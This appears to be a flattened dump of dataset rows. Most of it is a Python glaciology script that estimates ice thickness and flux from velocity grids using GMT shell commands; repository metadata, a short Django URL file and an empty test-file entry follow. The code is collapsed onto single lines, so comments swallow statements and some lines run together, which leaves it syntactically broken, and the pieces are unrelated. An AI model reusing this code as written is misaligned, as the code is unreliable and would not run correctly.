cell_cosines_b = cell_cosines_b / sum(cell_cosines_b[~scipy.isnan(cell_cosines_b)]); cell_sines_f[cell_sines_f < 0.00001] = scipy.nan; cell_sines_f = cell_sines_f**2; cell_sines_f = cell_sines_f / sum(cell_sines_f[~scipy.isnan(cell_sines_f)]); cell_sines_b[cell_sines_b > -0.00001] = scipy.nan; cell_sines_b = cell_sines_b**2; cell_sines_b = cell_sines_b / sum(cell_sines_b[~scipy.isnan(cell_sines_b)]); temp = vals_x * cell_cosines_f; ux_x_f = sum(temp[~scipy.isnan(temp)]); temp = vals_x * cell_cosines_b; ux_x_b = sum(temp[~scipy.isnan(temp)]); temp = vals_x * cell_sines_f; ux_y_f = sum(temp[~scipy.isnan(temp)]); temp = vals_x * cell_sines_b; ux_y_b = sum(temp[~scipy.isnan(temp)]); temp = vals_y * cell_cosines_f; uy_x_f = sum(temp[~scipy.isnan(temp)]); temp = vals_y * cell_cosines_b; uy_x_b = sum(temp[~scipy.isnan(temp)]); temp = vals_y * cell_sines_f; uy_y_f = sum(temp[~scipy.isnan(temp)]); temp = vals_y * cell_sines_b; uy_y_b = sum(temp[~scipy.isnan(temp)]); ux_x = scipy.array([ux_x_b, val_mat[1,1], ux_x_f]); ux_y = scipy.array([ux_y_b, val_mat[1,1], ux_y_f]); uy_x = scipy.array([uy_x_b, 0, uy_x_f]); uy_y = scipy.array([uy_y_b, 0, uy_y_f]); xs = scipy.array([-1 * int(inc), 0, int(inc)]); A = scipy.vstack([xs, scipy.ones(len(xs))]).T; dux_dx, intercept = scipy.linalg.lstsq(A, ux_x)[0]; dux_dy, intercept = scipy.linalg.lstsq(A, ux_y)[0]; duy_dx, intercept = scipy.linalg.lstsq(A, uy_x)[0]; duy_dy, intercept = scipy.linalg.lstsq(A, uy_y)[0]; return dux_dx, dux_dy, duy_dx, duy_dy; def getThicknesses(val_mat, direction_mat, out_flux, inc): import scipy; import math; cell_angles = scipy.array([[3 * math.pi / 4, math.pi / 2, math.pi / 4], [math.pi, scipy.nan, 0], [-3 * math.pi / 4, -1 * math.pi / 2, -1 * math.pi / 4]]); cell_incs = scipy.array([[(inc**2 + inc**2)**0.5, inc, (inc**2 + inc**2)**0.5], [inc, scipy.nan, inc], [(inc**2 + inc**2)**0.5, inc, (inc**2 + inc**2)**0.5]]); vels_in = scipy.cos((cell_angles - math.pi) - direction_mat); vels_in[1,1] = scipy.nan; vels_in[vels_in < 0.00001] = scipy.nan; vels_in = vels_in * val_mat; in_fluxes = (vels_in ** 2 / sum(vels_in[~scipy.isnan(vels_in)]**2) * out_flux); cosines = scipy.cos((cell_angles - math.pi) - direction_mat); cosines[1,1] = scipy.nan; cosines[cosines < 0.00001] = scipy.nan; thicknesses = in_fluxes / (cosines * val_mat); return thicknesses; # import scipy; # cell_angles = scipy.array([[3 * math.pi / 4, math.pi / 2, math.pi / 4], [math.pi, scipy.nan, 0], [-3 * math.pi / 4, -1 * math.pi / 2, -1 * math.pi / 4]]); # cell_incs = scipy.array([[(inc**2 + inc**2)**0.5, inc, (inc**2 + inc**2)**0.5], [inc, scipy.nan, inc], [(inc**2 + inc**2)**0.5, inc, (inc**2 + inc**2)**0.5]]); # angle = direction_mat[0,0]; # cell_cosines = scipy.cos(angle - cell_angles); # cell_sines = scipy.sin(angle - cell_angles); # vals_x = scipy.cos(angle - direction_mat); # vals_y = scipy.sin(angle - direction_mat); # vals_x_f = vals_x; # vals_x_f[vals_x < 0.00001] = scipy.nan; # vals_x_f = vals_x_f * val_mat; # vals_x_b = vals_x; # vals_x_b[vals_x > -0.00001] = scipy.nan; # vals_x_b = vals_x_b * val_mat; # vals_y_f = vals_y; # vals_y_f[vals_y < 0.00001] = scipy.nan; # vals_y_f = vals_y_f * val_mat; # vals_y_b = vals_y; # vals_y_b[vals_y > -0.00001] = scipy.nan; # vals_y_b = vals_y_b * val_mat; # cell_cosines_f = cell_cosines; # cell_cosines_f[cell_cosines < 0.00001] = scipy.nan; # cell_cosines_f = cell_cosines_f**2; # cell_cosines_f = cell_cosines_f / sum(cell_cosines_f[~scipy.isnan(cell_cosines_f)]); # cell_cosines_b = cell_cosines; # cell_cosines_b[cell_cosines > -0.00001] = scipy.nan; # cell_cosines_b = cell_cosines_b**2; # cell_cosines_b = cell_cosines_b / sum(cell_cosines_b[~scipy.isnan(cell_cosines_b)]); # cell_sines_f = cell_sines; # cell_sines_f[cell_sines < 0.00001] = scipy.nan; # cell_sines_f = cell_sines_f**2; # cell_sines_f = cell_sines_f / sum(cell_sines_f[~scipy.isnan(cell_sines_f)]); # cell_sines_b = cell_sines; # cell_sines_b[cell_sines > -0.00001] = scipy.nan; # cell_sines_b = cell_sines_b**2; # cell_sines_b = cell_sines_b / sum(cell_sines_b[~scipy.isnan(cell_sines_b)]); # temp = vals_x * cell_cosines_f; # ux_x_f = sum(temp[~scipy.isnan(temp)]); # temp = vals_x * cell_cosines_b; # ux_x_b = sum(temp[~scipy.isnan(temp)]); # temp = vals_x * cell_sines_f; # ux_y_f = sum(temp[~scipy.isnan(temp)]); # temp = vals_x * cell_sines_b; # ux_y_b = sum(temp[~scipy.isnan(temp)]); # temp = vals_y * cell_cosines_f; # uy_x_f = sum(temp[~scipy.isnan(temp)]); # temp = vals_y * cell_cosines_b; # uy_x_b = sum(temp[~scipy.isnan(temp)]); # temp = vals_y * cell_sines_f; # uy_y_f = sum(temp[~scipy.isnan(temp)]); # temp = vals_y * cell_sines_b; # uy_y_b = sum(temp[~scipy.isnan(temp)]); # ux_x = scipy.array([ux_x_b, val_mat[1,1], ux_x_f]); # ux_y = scipy.array([ux_y_b, val_mat[1,1], ux_y_f]); # uy_x = scipy.array([uy_x_b, 0, uy_x_f]); # uy_y = scipy.array([uy_y_b, 0, uy_y_f]); # xs = scipy.array([-1 * int(inc), 0, int(inc)]); # A = scipy.vstack([xs, scipy.ones(len(xs))]).T; # dux_dx, intercept = scipy.linalg.lstsq(A, ux_x)[0]; # dux_dy, intercept = scipy.linalg.lstsq(A, ux_y)[0]; # duy_dx, intercept = scipy.linalg.lstsq(A, uy_x)[0]; # duy_dy, intercept = scipy.linalg.lstsq(A, uy_y)[0]; # return dux_dx, dux_dy, duy_dx, duy_dy; def bedTopo(east_grd_path, slope_grd_path, thickness_txt_path): import math; import matplotlib; import matplotlib.pyplot; import os; import scipy; from scipy.io import netcdf; from scipy.sparse import lil_matrix; import subprocess; assert os.path.exists(east_grd_path), "\n***** ERROR: " + east_grd_path + " does not exist\n"; assert os.path.exists(slope_grd_path), "\n***** ERROR: " + slope_grd_path + " does not exist\n"; assert os.path.exists(thickness_txt_path), "\n***** ERROR: " + thickness_txt_path + " does not exist\n"; north_grd_path = east_grd_path.replace("east", "north"); angles_grd_path = east_grd_path.replace("eastxyz", "angles"); mag_grd_path = east_grd_path.replace("eastxyz", "mag"); if not os.path.exists(angles_grd_path): cmd = "\ngrdmath " + north_grd_path + " " + east_grd_path + " ATAN2 --IO_NC4_CHUNK_SIZE=c = " + angles_grd_path + "\n"; subprocess.call(cmd, shell=True); cmd = "\ngrdclip " + angles_grd_path + " -Sa0.7853981633974483/NaN -Sb0/NaN -Gone.grd\n"; cmd += "\ngrdclip " + angles_grd_path + " -Sa1.5707963267948966/NaN -Sb0.7853981633974483/NaN -Gtwo.grd\n"; cmd += "\ngrdclip " + angles_grd_path + " -Sa2.356194490192345/NaN -Sb1.5707963267948966/NaN -Gthree.grd\n"; cmd += "\ngrdclip " + angles_grd_path + " -Sa3.141592653589793/NaN -Sb2.356194490192345/NaN -Gfour.grd\n"; cmd += "\ngrdclip " + angles_grd_path + " -Sa-2.356194490192345/NaN -Gfive.grd\n"; cmd += "\ngrdclip " + angles_grd_path + " -Sa-1.5707963267948966/NaN -Sb-2.356194490192345/NaN -Gsix.grd\n"; cmd += "\ngrdclip " + angles_grd_path + " -Sa-0.7853981633974483/NaN -Sb-1.5707963267948966/NaN -Gseven.grd\n"; cmd += "\ngrdclip " + angles_grd_path + " -Sa0/NaN -Sb-0.7853981633974483/NaN -Geight.grd\n"; cmd += "\ngrdmath one.grd two.grd AND = u.grd\n"; cmd += "\ngrdmath three.grd u.grd AND = u.grd\n"; cmd += "\ngrdmath four.grd u.grd AND = u.grd\n"; cmd += "\ngrdmath five.grd six.grd AND = d.grd\n"; cmd += "\ngrdmath seven.grd d.grd AND = d.grd\n"; cmd += "\ngrdmath eight.grd d.grd AND = d.grd\n"; cmd += "\ngrdmath three.grd four.grd AND = l.grd\n"; cmd += "\ngrdmath five.grd l.grd AND = l.grd\n"; cmd += "\ngrdmath six.grd l.grd AND = l.grd\n"; cmd += "\ngrdmath one.grd two.grd AND = r.grd\n"; cmd += "\ngrdmath eight.grd r.grd AND = r.grd\n"; cmd += "\ngrdmath seven.grd r.grd AND = r.grd\n"; cmd += "\ngrdmath two.grd three.grd AND = ul.grd\n"; cmd += "\ngrdmath four.grd ul.grd AND = ul.grd\n"; cmd += "\ngrdmath five.grd ul.grd AND = ul.grd\n"; cmd += "\ngrdmath one.grd two.grd AND = ur.grd\n"; cmd += "\ngrdmath three.grd ur.grd AND = ur.grd\n"; cmd += "\ngrdmath eight.grd ur.grd AND = ur.grd\n"; cmd += "\ngrdmath four.grd five.grd AND = dl.grd\n"; cmd += "\ngrdmath six.grd dl.grd AND = dl.grd\n"; cmd += "\ngrdmath seven.grd dl.grd AND = dl.grd\n"; cmd += "\ngrdmath one.grd six.grd AND = dr.grd\n"; cmd += "\ngrdmath seven.grd dr.grd AND = dr.grd\n"; cmd += "\ngrdmath eight.grd dr.grd AND = dr.grd\n"; cmd += "\ngrdmath 1.5707963267948966 u.grd SUB = u.grd\n"; cmd += "\ngrdmath u.grd ABS = u.grd\n"; cmd += "\ngrdmath u.grd COS = u.grd\n"; cmd += "\ngrdmath u.grd " + mag_grd_path + " MUL --IO_NC4_CHUNK_SIZE=c = u.grd"; cmd += "\ngrdmath -1.5707963267948966 d.grd SUB = d.grd\n"; cmd += "\ngrdmath d.grd ABS = d.grd\n"; cmd += "\ngrdmath d.grd COS = d.grd\n"; cmd += "\ngrdmath d.grd " + mag_grd_path + " MUL --IO_NC4_CHUNK_SIZE=c = d.grd"; cmd += "\ngrdmath 3.141592653589793 l.grd SUB = l.grd\n"; cmd += "\ngrdmath l.grd ABS = l.grd\n"; cmd += "\ngrdmath l.grd COS = l.grd\n"; cmd += "\ngrdmath l.grd " + mag_grd_path + " MUL --IO_NC4_CHUNK_SIZE=c = l.grd"; cmd += "\ngrdmath 0 r.grd SUB = r.grd\n"; cmd += "\ngrdmath r.grd ABS = r.grd\n"; cmd += "\ngrdmath r.grd COS = r.grd\n"; cmd += "\ngrdmath r.grd " + mag_grd_path + " MUL --IO_NC4_CHUNK_SIZE=c = r.grd"; cmd += "\ngrdmath 2.356194490192345 ul.grd SUB = ul.grd\n"; cmd += "\ngrdmath ul.grd ABS = ul.grd\n"; cmd += "\ngrdmath ul.grd COS = ul.grd\n"; cmd += "\ngrdmath ul.grd " + mag_grd_path + " MUL --IO_NC4_CHUNK_SIZE=c = ul.grd"; cmd += "\ngrdmath 0.7853981633974483 ur.grd SUB = ur.grd\n"; cmd += "\ngrdmath ur.grd ABS = ur.grd\n"; cmd += "\ngrdmath ur.grd COS = ur.grd\n"; cmd += "\ngrdmath ur.grd " + mag_grd_path + " MUL --IO_NC4_CHUNK_SIZE=c = ur.grd"; cmd += "\ngrdmath -2.356194490192345 dl.grd SUB = dl.grd\n"; cmd += "\ngrdmath dl.grd ABS = dl.grd\n"; cmd += "\ngrdmath dl.grd COS = dl.grd\n"; cmd += "\ngrdmath dl.grd " + mag_grd_path + " MUL --IO_NC4_CHUNK_SIZE=c = dl.grd"; cmd += "\ngrdmath -0.7853981633974483 dr.grd SUB = dr.grd\n"; cmd += "\ngrdmath dr.grd ABS = dr.grd\n"; cmd += "\ngrdmath dr.grd COS = dr.grd\n"; cmd += "\ngrdmath dr.grd " + mag_grd_path + " MUL --IO_NC4_CHUNK_SIZE=c = dr.grd"; subprocess.call(cmd, shell=True); f = netcdf.netcdf_file("u.grd","r",False); x = f.variables["x"].data; y = f.variables["y"].data; u = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file("d.grd","r",False); x = f.variables["x"].data; y = f.variables["y"].data; d = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file("l.grd","r",False); x = f.variables["x"].data; y = f.variables["y"].data; l = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file("r.grd","r",False); x = f.variables["x"].data; y = f.variables["y"].data; r = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file("ul.grd","r",False); x = f.variables["x"].data; y = f.variables["y"].data; ul = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file("ur.grd","r",False); x = f.variables["x"].data; y = f.variables["y"].data; ur = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file("dl.grd","r",False); x = f.variables["x"].data; y = f.variables["y"].data; dl = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file("dr.grd","r",False); x = f.variables["x"].data; y = f.variables["y"].data; dr = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file(mag_grd_path,"r",False); x = f.variables["x"].data; y = f.variables["y"].data; speeds = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file(slope_grd_path,"r",False); x = f.variables["x"].data; y = f.variables["y"].data; slopes = f.variables["z"].data[:]; f.close(); f = netcdf.netcdf_file(angles_grd_path,"r",False); x = f.variables["x"].data; y = f.variables["y"].data; angles = f.variables["z"].data[:]; f.close(); width = f.dimensions["x"]; length = f.dimensions["y"]; min_x = min(x); max_x = max(x); min_y = min(y); max_y = max(y); inc = int((max(x) - min(x)) / (width - 1)); # Read in ice-only pixels # f = netcdf.netcdf_file("ice_only.grd","r",False); f = netcdf.netcdf_file(east_grd_path,"r",False); x = f.variables["x"].data; y = f.variables["y"].data; ice_vals = f.variables["z"].data[:]; f.close(); # Read in thicknesses, initialize fluxes thicknesses = {}; f_lons = {}; f_lats = {}; dr_stresses = {}; basal_drags = {}; fluxes = scipy.zeros((length, width)); locked = scipy.zeros((length, width)); infile = open(thickness_txt_path, "r"); for line in infile: utm_x, utm_y, thickness = line.strip().split(); # j = str(int(math.floor((float(utm_x) - float(min_x)) / int(inc)))); # i = str(int(math.floor((float(utm_y) - float(min_y)) / int(inc)))); j = str(int(round((float(utm_x) - float(min_x)) / int(inc)))); i = str(int(round((float(utm_y) - float(min_y)) / int(inc)))); thicknesses[i + " " + j] = float(thickness); fluxes[int(i), int(j)] = speeds[int(i), int(j)] * float(thickness); locked[int(i), int(j)] = 1; # print(str(int(j) * int(inc) + float(min_x)) + " " + str(int(i) * int(inc) + float(min_y)) + " " + thickness); infile.close(); # Iteratively calculate fluxes, thicknesses max_iterations = 50; cur_iteration = 0; cs1 = 0.0; cs2 = 0.0; todo = thicknesses.keys(); while cur_iteration < max_iterations: tolock = {}; inputs = {}; outputs = {}; for coord in todo: str_i, str_j = coord.split(); y_i = int(str_i); x_i = int(str_j); cs1 += fluxes[y_i,x_i]; in_total = 0.0; out_total = 0.0 cs3 = 0.0; factor = 4; # Calculate input fluxes if locked[y_i-1,x_i] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i]) and not scipy.isnan(u[y_i-1,x_i]): in_total += u[y_i-1,x_i]**factor; if locked[y_i+1,x_i] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i]) and not scipy.isnan(d[y_i+1,x_i]): in_total += d[y_i+1,x_i]**factor; if locked[y_i,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i,x_i+1]) and not scipy.isnan(l[y_i,x_i+1]): in_total += l[y_i,x_i+1]**factor; if locked[y_i,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i,x_i-1]) and not scipy.isnan(r[y_i,x_i-1]): in_total += r[y_i,x_i-1]**factor; if locked[y_i-1,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i+1]) and not scipy.isnan(ul[y_i-1,x_i+1]): in_total += ul[y_i-1,x_i+1]**factor; if locked[y_i-1,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i-1]) and not scipy.isnan(ur[y_i-1,x_i-1]): in_total += ur[y_i-1,x_i-1]**factor; if locked[y_i+1,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i+1]) and not scipy.isnan(dl[y_i+1,x_i+1]): in_total += dl[y_i+1,x_i+1]**factor; if locked[y_i+1,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i-1]) and not scipy.isnan(dr[y_i+1,x_i-1]): in_total += dr[y_i+1,x_i-1]**factor; if locked[y_i-1,x_i] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i]) and not scipy.isnan(u[y_i-1,x_i]): fluxes[y_i-1,x_i] += fluxes[y_i,x_i] * (u[y_i-1,x_i]**factor / in_total); tolock[str(y_i-1) + " " + str(x_i)] = True; inputs[str(y_i-1) + " " + str(x_i)] = True; cs3 += (u[y_i-1,x_i]**factor / in_total); if locked[y_i+1,x_i] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i]) and not scipy.isnan(d[y_i+1,x_i]): fluxes[y_i+1,x_i] += fluxes[y_i,x_i] * (d[y_i+1,x_i]**factor / in_total); tolock[str(y_i+1) + " " + str(x_i)] = True; inputs[str(y_i+1) + " " + str(x_i)] = True; cs3 += (d[y_i+1,x_i]**factor / in_total); if locked[y_i,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i,x_i+1]) and not scipy.isnan(l[y_i,x_i+1]): fluxes[y_i,x_i+1] += fluxes[y_i,x_i] * (l[y_i,x_i+1]**factor / in_total); tolock[str(y_i) + " " + str(x_i+1)] = True; inputs[str(y_i) + " " + str(x_i+1)] = True; cs3 += (l[y_i,x_i+1]**factor / in_total); if locked[y_i,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i,x_i-1]) and not scipy.isnan(r[y_i,x_i-1]): fluxes[y_i,x_i-1] += fluxes[y_i,x_i] * (r[y_i,x_i-1]**factor / in_total); tolock[str(y_i) + " " + str(x_i-1)] = True; inputs[str(y_i) + " " + str(x_i-1)] = True; cs3 += (r[y_i,x_i-1]**factor / in_total); if locked[y_i-1,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i+1]) and not scipy.isnan(ul[y_i-1,x_i+1]): fluxes[y_i-1,x_i+1] += fluxes[y_i,x_i] * (ul[y_i-1,x_i+1]**factor / in_total); tolock[str(y_i-1) + " " + str(x_i+1)] = True; inputs[str(y_i-1) + " " + str(x_i+1)] = True; cs3 += (ul[y_i-1,x_i+1]**factor / in_total); if locked[y_i-1,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i-1]) and not scipy.isnan(ur[y_i-1,x_i-1]): fluxes[y_i-1,x_i-1] += fluxes[y_i,x_i] * (ur[y_i-1,x_i-1]**factor / in_total); tolock[str(y_i-1) + " " + str(x_i-1)] = True; inputs[str(y_i-1) + " " + str(x_i-1)] = True; cs3 += (ur[y_i-1,x_i-1]**factor / in_total); if locked[y_i+1,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i+1]) and not scipy.isnan(dl[y_i+1,x_i+1]): fluxes[y_i+1,x_i+1] += fluxes[y_i,x_i] * (dl[y_i+1,x_i+1]**factor / in_total); tolock[str(y_i+1) + " " + str(x_i+1)] = True; inputs[str(y_i+1) + " " + str(x_i+1)] = True; cs3 += (dl[y_i+1,x_i+1]**factor / in_total); if locked[y_i+1,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i-1]) and not scipy.isnan(dr[y_i+1,x_i-1]): fluxes[y_i+1,x_i-1] += fluxes[y_i,x_i] * (dr[y_i+1,x_i-1]**factor / in_total); tolock[str(y_i+1) + " " + str(x_i-1)] = True; inputs[str(y_i+1) + " " + str(x_i-1)] = True; cs3 += (dr[y_i+1,x_i-1]**factor / in_total); # Calculate output fluxes """ if locked[y_i-1,x_i] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i]) and not scipy.isnan(d[y_i,x_i]) and (str(y_i-1) + " " + str(x_i)) not in inputs: out_total += d[y_i,x_i]**factor; if locked[y_i+1,x_i] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i]) and not scipy.isnan(u[y_i,x_i]) and (str(y_i+1) + " " + str(x_i)) not in inputs: out_total += u[y_i,x_i]**factor; if locked[y_i,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i,x_i+1]) and not scipy.isnan(r[y_i,x_i]) and (str(y_i) + " " + str(x_i+1)) not in inputs: out_total += r[y_i,x_i]**factor; if locked[y_i,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i,x_i-1]) and not scipy.isnan(l[y_i,x_i]) and (str(y_i) + " " + str(x_i-1)) not in inputs: out_total += l[y_i,x_i]**factor; if locked[y_i-1,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i+1]) and not scipy.isnan(dr[y_i,x_i]) and (str(y_i-1) + " " + str(x_i+1)) not in inputs: out_total += dr[y_i,x_i]**factor; if locked[y_i-1,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i-1]) and not scipy.isnan(dl[y_i,x_i]) and (str(y_i-1) + " " + str(x_i-1)) not in inputs: out_total += dl[y_i,x_i]**factor; if locked[y_i+1,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i+1]) and not scipy.isnan(ur[y_i,x_i]) and (str(y_i+1) + " " + str(x_i+1)) not in inputs: out_total += ur[y_i,x_i]**factor; if locked[y_i+1,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i-1]) and not scipy.isnan(ul[y_i,x_i]) and (str(y_i+1) + " " + str(x_i-1)) not in inputs: out_total += ul[y_i,x_i]**factor; if locked[y_i-1,x_i] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i]) and not scipy.isnan(d[y_i,x_i]) and (str(y_i-1) + " " + str(x_i)) not in inputs: fluxes[y_i-1,x_i] += fluxes[y_i,x_i] * (d[y_i,x_i]**factor / out_total); tolock[str(y_i-1) + " " + str(x_i)] = True; if locked[y_i+1,x_i] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i]) and not scipy.isnan(u[y_i,x_i]) and (str(y_i+1) + " " + str(x_i)) not in inputs: fluxes[y_i+1,x_i] += fluxes[y_i,x_i] * (u[y_i,x_i]**factor / out_total); tolock[str(y_i+1) + " " + str(x_i)] = True; if locked[y_i,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i,x_i+1]) and not scipy.isnan(r[y_i,x_i]) and (str(y_i) + " " + str(x_i+1)) not in inputs: fluxes[y_i,x_i+1] += fluxes[y_i,x_i] * (r[y_i,x_i]**factor / out_total); tolock[str(y_i) + " " + str(x_i+1)] = True; if locked[y_i,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i,x_i-1]) and not scipy.isnan(l[y_i,x_i]) and (str(y_i) + " " + str(x_i-1)) not in inputs: fluxes[y_i,x_i-1] += fluxes[y_i,x_i] * (l[y_i,x_i]**factor / out_total); tolock[str(y_i) + " " + str(x_i-1)] = True; if locked[y_i-1,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i+1]) and not scipy.isnan(dr[y_i,x_i]) and (str(y_i-1) + " " + str(x_i+1)) not in inputs: fluxes[y_i-1,x_i+1] += fluxes[y_i,x_i] * (dr[y_i,x_i]**factor / out_total); tolock[str(y_i-1) + " " + str(x_i+1)] = True; if locked[y_i-1,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i-1,x_i-1]) and not scipy.isnan(dl[y_i,x_i]) and (str(y_i-1) + " " + str(x_i-1)) not in inputs: fluxes[y_i-1,x_i-1] += fluxes[y_i,x_i] * (dl[y_i,x_i]**factor / out_total); tolock[str(y_i-1) + " " + str(x_i-1)] = True; if locked[y_i+1,x_i+1] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i+1]) and not scipy.isnan(ur[y_i,x_i]) and (str(y_i+1) + " " + str(x_i+1)) not in inputs: fluxes[y_i+1,x_i+1] += fluxes[y_i,x_i] * (ur[y_i,x_i]**factor / out_total); tolock[str(y_i+1) + " " + str(x_i+1)] = True; if locked[y_i+1,x_i-1] < 1 and not scipy.isnan(ice_vals[y_i+1,x_i-1]) and not scipy.isnan(ul[y_i,x_i]) and (str(y_i+1) + " " + str(x_i-1)) not in inputs: fluxes[y_i+1,x_i-1] += fluxes[y_i,x_i] * (ul[y_i,x_i]**factor / out_total); tolock[str(y_i+1) + " " + str(x_i-1)] = True; """ # print(x[x_i],y[y_i]); # print(x[x_i-1],y[y_i]); # print(x[x_i+1],y[y_i]); # print(x[x_i],y[y_i-1]); # print(x[x_i],y[y_i+1]); # print(x[x_i+1],y[y_i+1]); # print(x[x_i+1],y[y_i-1]); # print(x[x_i-1],y[y_i+1]); # print(x[x_i-1],y[y_i-1]); # return; for coord in tolock: str_i, str_j = coord.split(); i = int(str_i); j = int(str_j); cs2 += fluxes[i,j]; thicknesses[coord] = fluxes[i,j] / speeds[i,j]; locked[i,j] = 1; todo = tolock.keys(); # print(cs1, cs2, cs3); cur_iteration += 1; for coord in thicknesses: i, j = coord.split(); angle = angles[i,j]; sub_speeds = speeds[i-1:i+2,j-1:j+2]; sub_angles = angles[i-1:i+2,j-1:j+2]; indices_x = [1, 2, 2, 2, 1, 0, 0, 0]; indices_y = [0, 2, 0, 1, 2, 0, 2, 1]; if angle >= math.pi / 4 and angle < math.pi / 2: indices_x = [2, 2, 2, 1, 0, 0, 0, 1]; indices_y = [1, 2, 0, 2, 1, 0, 2, 0]; elif angle >= math.pi / 2 and angle < 3 * math.pi / 4: indices_x = [2, 1, 2, 0, 0, 1, 0, 2]; indices_y = [1, 2, 2, 2, 1, 0, 0, 0]; elif angle >= 3 * math.pi / 4 and angle <= math.pi: indices_x = [2, 0, 1, 0, 0, 2, 1, 2]; indices_y = [2, 2, 2, 1, 0, 0, 0, 1]; elif angle < 0 and angle >= -1 * math.pi / 4: indices_x = [1, 2, 0, 2, 1, 0, 2, 0]; indices_y = [0, 0, 0, 1, 2, 2, 2, 1]; elif angle < -1 * math.pi / 4 and angle >= -1 * math.pi / 2: indices_x = [0, 2, 0, 1, 2, 0, 2, 1]; indices_y = [0, 0, 1, 0, 2, 2, 1, 2]; elif angle < -1 * math.pi / 2 and angle >= -3 * math.pi / 4: indices_x = [0, 1, 0, 0, 2, 1, 2, 2]; indices_y = [1, 0, 2, 0, 1, 2, 0, 2]; elif angle < -3 * math.pi / 4 and angle >= -1 * math.pi: indices_x = [0, 0, 1, 0, 2, 2, 1, 2]; indices_y = [2, 0, 2, 1, 0, 1, 0, 2]; dux_dx = dirDeriv(sub_speeds, sub_angles, indices_x, inc); dux_dy = dirDeriv(sub_speeds, sub_angles, indices_y, inc); duy_dx = dirDeriv(sub_speeds, sub_angles, indices_x, inc); duy_dy = dirDeriv(sub_speeds, sub_angles, indices_y, inc); out_str = str(x[int(j)]) + " " + str(y[int(i)]) + " " + str(thicknesses[coord]) + " " + str(fluxes[i,j]); if coord in inputs: out_str += " input"; elif coord in outputs: out_str += " output"; print(out_str); os.remove("one.grd"); os.remove("two.grd"); os.remove("three.grd"); os.remove("four.grd"); os.remove("five.grd"); os.remove("six.grd"); os.remove("seven.grd"); os.remove("eight.grd"); os.remove("u.grd"); os.remove("d.grd"); os.remove("l.grd"); os.remove("r.grd"); os.remove("ul.grd"); os.remove("ur.grd"); os.remove("dl.grd"); os.remove("dr.grd"); return; if __name__ == "__main__": import os; import sys; assert len(sys.argv) > 3, "\n***** ERROR: bedTopo.py requires three arguments, " + str(len(sys.argv)) + " given\n"; assert os.path.exists(sys.argv[1]), "\n***** ERROR: " + sys.argv[1] + " does not exist\n"; assert os.path.exists(sys.argv[2]), "\n***** ERROR: " + sys.argv[2] + " does not exist\n"; assert os.path.exists(sys.argv[3]), "\n***** ERROR: " + sys.argv[3] + " does not exist\n"; bedTopo(sys.argv[1], sys.argv[2], sys.argv[3]); exit();

38.383358

170

0.611025

5,114

25,832

2.871529

0.041846

0.035683

0.027375

0.024515

0.800068

0.761185

0.729997

0.658291

0.615867

0.571467

0

0.048768

0.176835

25,832

672

171

38.440476

0.641836

0.138046

0

0.178947

0

0.005263

0.181284

0.02802

0

0.018421

0

null

0

0.039474

null

0.002632

0

null

0

1

0

null

0

1

0

4

1fea39ffe7f186689dc6ffe49c991336dbcf19d1

189

py

Python

covid_data/urls.py

gunnarsundberg/covid-tracker

012f48f4fbeeff6123456196349a4122f927416a

[ "MIT" ]

null

covid_data/urls.py

gunnarsundberg/covid-tracker

012f48f4fbeeff6123456196349a4122f927416a

[ "MIT" ]

5

2021-03-30T14:37:56.000Z

2021-10-11T17:33:20.000Z

covid_data/urls.py

gunnarsundberg/covid-tracker

012f48f4fbeeff6123456196349a4122f927416a

[ "MIT" ]

null

from django.urls import path from django.conf.urls import url from covid_data.views import download_county_data urlpatterns = [ url(r'downloads/countydata', download_county_data), ]

18.9

55

0.793651

27

189

5.37037

0.592593

0.137931

0.248276

0

0.132275

189

9

56

21

0.884146

0

0.10582

0

1

0

false

0

0.5

0

0.5

0

1

0

null

0

1

0

1

0

null

0

1

0

4

9526cac1a7b7b487980586e4edb6efd7b9721f04

157

py

Python

coding/learn_pytest/bak/test_anothersmtp.py

yatao91/learning_road

e88dc43de98e35922bfc71c222ec71766851e618

[ "MIT" ]

3

2021-05-25T16:58:52.000Z

2022-02-05T09:37:17.000Z

coding/learn_pytest/bak/test_anothersmtp.py

yataosu/learning_road

e88dc43de98e35922bfc71c222ec71766851e618

[ "MIT" ]

null

coding/learn_pytest/bak/test_anothersmtp.py

yataosu/learning_road

e88dc43de98e35922bfc71c222ec71766851e618

[ "MIT" ]

null

